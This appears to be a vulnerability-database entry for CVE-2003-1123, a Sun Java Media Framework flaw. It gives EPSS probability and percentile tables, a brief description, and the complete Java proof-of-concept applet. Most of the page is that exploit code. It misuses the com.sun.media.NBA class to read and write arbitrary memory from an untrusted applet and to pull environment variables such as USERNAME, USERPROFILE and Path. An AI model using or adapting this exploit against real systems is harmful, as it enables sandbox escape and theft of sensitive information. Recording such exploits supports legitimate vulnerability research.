CVE-2003-1123 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	6.79%	–	–
2022-04-03	–	–	6.79%	–	–
2022-05-22	–	–	6.79%	–	–
2023-03-12	–	–	–	1.19%	–
2023-10-01	–	–	–	1.19%	–
2023-12-03	–	–	–	1.19%	–
2023-12-17	–	–	–	1.19%	–
2024-02-11	–	–	–	1.19%	–
2024-02-18	–	–	–	1.68%	–
2024-06-02	–	–	–	1.68%	–
2024-06-02	–	–	–	1.68%	–
2024-09-22	–	–	–	2.04%	–
2024-12-22	–	–	–	4.1%	–
2025-01-19	–	–	–	4.1%	–
2025-03-18	–	–	–	–	14.56%
2025-03-18	–	–	–	–	14.56,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	8%
2022-04-03	91%
2022-05-22	92%
2023-03-12	83%
2023-10-01	84%
2023-12-03	83%
2023-12-17	84%
2024-02-11	85%
2024-02-18	87%
2024-06-02	88%
2024-06-02	88%
2024-09-22	89%
2024-12-22	92%
2025-01-19	92%
2025-03-18	94%
2025-03-18	94%

source: https://www.securityfocus.com/bid/7824/info It has been reported that the Sun Java Runtime Environment does not properly protect trusted java applets. Because of this, it may be possible for an attacker to use a malicious applet to gain access to sensitive information. /* Proof-Of-Concept: Read Environment via vulnerability Java Media Framework (2003) Marc Schoenefeld, www.illegalaccess.org */ import com.sun.media.NBA; import java.applet.Applet; import java.awt.Graphics; import javax.swing.JOptionPane; class NBAFactory { public static String getEnv(String a,long from, long to) { long pos = findMem(a,from,to); String ret = ""; if (pos != -1) { long pos2 = pos+a.length(); ret = getString(pos2); } return ret; } public static String getString(long pos) { int i = 0; StringBuffer b = new StringBuffer(); char x = 0; do { x = (char) readMem(pos+i); i++; if (x != 0) b.append(x); } while (!(x == 0)); return b.toString(); } public static long findMem(String a, long from , long to) { char[] ch = a.toCharArray(); for (long pos = from; pos < to ;pos++) { // System.out.println(pos-from+":"); int i = 0; int found = 0; for (i = 0; i < ch.length; i++) { char x = (char) readMem(pos+i); // System.out.println(pos+":"+x); if (x == ch[i]) { found ++; } else break; } if (found == ch.length) { return pos; } } return -1; } public static byte readMem(long i) { byte[] by = new byte[1]; NBA searcher = new NBA(byte[].class,1); long olddata = searcher.data; searcher.data = i; searcher.size = 1; searcher.copyTo(by); searcher.data = olddata; // keep the finalizer happy return by[0]; } public static void setMem(long i, char c) { NBA b = new NBA(byte[].class,1); long olddata = b.data; b.data = i; b.size = 1; theBytes[c].copyTo(b); b.data = olddata; // keep the finalizer happy } public static void setMem(long i, byte by) { setMem(i,(char) by); } public static void setMem(long i, int by) { setMem(i,(char) by); } public static void setMem(long l, String s) { char[] theChars = s.toCharArray(); NBA b = new NBA(byte[].class,1); long olddata = b.data; for (int i = 0 ; i < theChars.length; i++) { b.data = l+i; b.size = 1; theBytes[theChars[i]].copyTo(b); } b.data = olddata; // keep the finalizer happy } private NBAFactory() { } public static NBA getByte(char i) { return theBytes[i]; } public static NBA getByte(int i) { return theBytes[(char) i]; } public static NBA[] getBytes() { return theBytes; } static NBA[] theBytes = new NBA[256]; static { for (char i = 0; i < 256; i++) { // System.out.println((byte)i); NBA n = search(i,0x6D340000L, 0x6D46A000L); if (n!=null) theBytes[i]= n; else System.exit(-1); } } static NBA search (char theChar,long start, long end) { NBA ret = null; NBA searcher = new NBA(byte[].class,1); byte[] ba = new byte[1]; for (long i = start; i < end ; i++) { // byte b = readMem(i); searcher.data = i; searcher.copyTo(ba); // if ( b == (byte)theChar) { if ( ba[0] == (byte)theChar) { return searcher; } } return null; } } public class ReadEnv extends Applet{ static NBA base = new NBA(byte[].class,18); // what's the base pointer ? public static void crash(Object o) { System.out.println("Proof-Of-Concept: Read Environment via vulnerability Java Media Framework"); System.out.println("(2003) Marc Schoenefeld, www.illegalaccess.org"); NBA ret = new NBA(byte[].class,4); long oldret = ret.data; System.out.println("Base of data: "+Long.toString(base.data,16)); String[] envs = {"USERDOMAIN","USERNAME","USERPROFILE","CLASSPATH", "TEMP","COMSPEC","JAVA_HOME","Path","INCLUDE"}; for (int i = 0; i < envs.length; i++) { String val = NBAFactory.getEnv(envs[i],base.data,base.data+32768); if (!(o instanceof Applet)) { System.out.println(envs[i]+":"+val); } else { javax.swing.JOptionPane.showMessageDialog((java.applet.Applet) o,envs[i]+":"+val); } } //NBAFactory.setMem(pos+10,'A'); try { System.out.println(System.getProperty("java.class.path")); java.util.Properties p = System.getProperties(); p.list(System.out); } catch (java.security.AccessControlException e) { System.out.println("Cannot read environment via getProperties:"+e); } //System.out.println(pos); //long pos2 = NBAFactory.findMem("mixed",base.data,base.data+6614096); //System.out.println(pos2); //byte[] x11 = new byte[8]; //ret.copyTo(x11); //for (int i = 0; i < x11.length; i++) { // System.out.println(i+":"+x11[i]+(char)x11[i]); //} ret.data = oldret; //ret.data = 0xffff8000; //ret.finalize(); //ret.finalize(); //NBAFactory.setMem(ret.data-0xffff8000,33); //ret.finalize(); /*b.data = base.data; b.size = 16384;*/ /*byte[] ba3 = new byte[16384]; b.copyTo(ba3); for (int i = 0; i < ba3.length; i++) { System.out.println(new Integer(i).toString(i,16)+":"+ba3[i]+(char)ba3[i]); }*/ /*b.data = olddata;*/ } public static void main(String[] a) { crash(null); } public void paint(Graphics g) { if (init == 0) { init=1; crash(this); } } static int init = 0; }